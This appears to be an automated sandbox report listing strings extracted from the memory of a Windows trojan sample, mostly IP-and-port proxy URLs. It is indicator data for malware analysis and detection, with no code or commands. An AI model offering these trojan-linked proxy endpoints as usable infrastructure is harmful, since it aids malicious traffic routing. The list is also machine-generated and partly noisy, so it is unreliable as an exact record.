Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA59C000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA5F1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://155.50.209.50:3128
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA5F1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://155.50.209.50:3128://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://155.50.213.149:3128
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://155.50.213.149:3128://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C9FF6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://155.50.215.37:3128
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C9FF6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://155.50.215.37:3128://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://155.50.241.99:3128
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6E37000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://155.50.241.99:3128://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7069000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://155.50.250.163:3128
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://155.50.250.163:3128://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://155.50.253.163:3128
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://155.50.253.163:3128://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCD0D000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7773000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://156.200.116.68:1976
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCD0D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://156.200.116.68:1976://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6F32000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://156.200.116.68:1981
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://156.200.116.68:1981://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C758D000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6F01000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://156.200.116.71:1981
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6F01000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://156.200.116.71:1981://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://156.200.116.73:1976
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://156.200.116.73:1976://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://156.200.116.74:1976
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://156.200.116.74:1976://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBAEF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://156.200.116.74:1981
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBAEF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://156.200.116.74:1981://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://156.239.144.149:10001
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://156.239.144.149:10001://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://156.239.144.87:10001
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://156.239.144.87:10001://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://156.54.240.53:3128
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://156.54.240.53:3128://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C65FB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://156.67.172.185:3128
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C65FB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://156.67.172.185:3128://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://156.67.217.159
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://156.67.217.159://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://156.67.217.159:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://157.100.55.143:999
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://157.100.55.143:999://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6480000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://157.100.6.202:999
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6480000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://157.100.6.202:999://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBAEF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://157.119.222.22:8080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBAEF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://157.119.222.22:8080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://157.119.225.225:83
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://157.119.225.225:83://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://157.230.111.195:15080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://157.230.111.195:15080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CC0A2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://157.230.226.230:1202
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CC0A2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://157.230.226.230:1202://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA2DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://157.230.33.25:8000
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6F32000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://157.230.33.25:8000://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CD140000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C661F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://157.245.131.28:30422
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CD140000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://157.245.131.28:30422://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://157.25.92.74:3128
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://157.25.92.74:3128://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://158.101.197.81:3128
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://158.101.197.81:3128://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://158.101.28.215
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://158.101.28.215://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://158.101.28.215:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB346000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB107000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://158.160.141.139:1080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB346000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://158.160.141.139:1080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://158.181.138.19:8081://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://158.181.138.19:8081x
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://158.181.22.139:8080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://158.181.22.139:8080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://158.220.91.229:3128
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://158.220.91.229:3128://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA52D000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA4CF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://158.220.91.232:3128
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA29E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://158.220.91.232:3128://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://158.247.237.223:7801
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://158.247.237.223:7801://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C9FF6000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA2DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://158.255.215.50:16993
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C9FF6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://158.255.215.50:16993://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C64DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://158.69.7.48:8050
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C64DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://158.69.7.48:8050://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6F32000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6EBC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://159.192.121.240:4145
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6EBC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://159.192.121.240:4145://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7F05000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://159.192.138.170:8080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C8DF7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://159.192.138.170:8080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://159.192.139.178:8080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://159.192.139.178:8080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C9FF6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://159.192.232.226:52335
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C9FF6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://159.192.232.226:52335://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://159.192.240.35:8080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://159.192.240.35:8080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://159.203.104.153:8200
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://159.203.104.153:8200://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://159.203.105.85:7497
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://159.203.105.85:7497://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6F32000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://159.203.137.249:30433
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6F32000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://159.203.137.249:30433://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C9FF6000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6D9A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://159.203.137.249:49785
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6D9A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://159.203.137.249:49785://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://159.203.137.249:5018
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://159.203.137.249:5018://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA72F000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA97B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://159.203.5.54:58249
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA753000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://159.203.5.54:58249://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C9FF6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://159.203.61.169:3128
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C9FF6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://159.203.61.169:3128://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C9FF6000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://159.223.117.14:24006
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://159.223.117.14:24006://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCD0D000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6480000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://159.223.118.43:8080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCD0D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://159.223.118.43:8080://proxyx
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBDC0000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CAE42000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://159.223.166.21:1372
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CAE42000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://159.223.166.21:1372://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C9FF6000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C853A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://159.223.166.21:45537
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C9FF6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://159.223.166.21:45537://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://159.223.37.182:8080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://159.223.37.182:8080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://159.223.45.192:8080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://159.223.45.192:8080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://159.223.71.71:50837
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://159.223.71.71:50837://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://159.223.71.71:51187
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://159.223.71.71:51187://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCD0D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://159.223.71.71:51213
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://159.223.71.71:51213://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CC173000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CC0E3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://159.223.71.71:51935
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CC0E3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://159.223.71.71:51935://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C9FF6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://159.223.71.71:53741
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C9FF6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://159.223.71.71:53741://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://159.223.71.71:56581
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://159.223.71.71:56581://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCD0D000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CD07F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://159.223.71.71:58684
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCD0D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://159.223.71.71:58684://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://159.223.71.71:59159
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6A67000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://159.223.71.71:59159://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://159.223.71.71:59243
